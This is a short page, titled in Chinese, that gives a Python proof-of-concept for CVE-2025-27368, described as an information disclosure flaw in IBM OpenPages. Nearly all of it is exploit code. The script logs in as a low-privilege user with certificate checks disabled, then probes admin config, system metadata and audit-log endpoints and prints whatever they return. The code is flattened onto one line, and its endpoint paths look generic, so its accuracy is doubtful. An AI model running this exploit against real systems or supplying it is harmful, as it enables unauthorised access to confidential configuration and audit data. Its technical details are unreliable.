CVE-2025-27368 IBM OpenPages REST接口信息泄露漏洞

import requests import json # CVE-2025-27368 PoC - IBM OpenPages Information Disclosure # Target: IBM OpenPages 9.0 and 9.1 target_url = "https://target-openpages.example.com" username = "low_privilege_user" password = "password123" session = requests.Session() # Step 1: Authenticate to OpenPages login_url = f"{target_url}/api/v1/auth/login" login_data = {"username": username, "password": password} response = session.post(login_url, json=login_data, verify=False) if response.status_code == 200: print("[+] Authentication successful") # Step 2: Exploit the vulnerable REST endpoint # Target endpoints that expose system metadata beyond user permissions vuln_endpoints = [ "/api/v1/system/metadata", "/api/v1/admin/config", "/api/v1/internal/audit-log" ] for endpoint in vuln_endpoints: url = f"{target_url}{endpoint}" resp = session.get(url, verify=False) if resp.status_code == 200: print(f"[+] Disclosed data from {endpoint}") print(json.dumps(resp.json(), indent=2)) else: print(f"[-] Endpoint {endpoint} returned {resp.status_code}") else: print("[-] Authentication failed")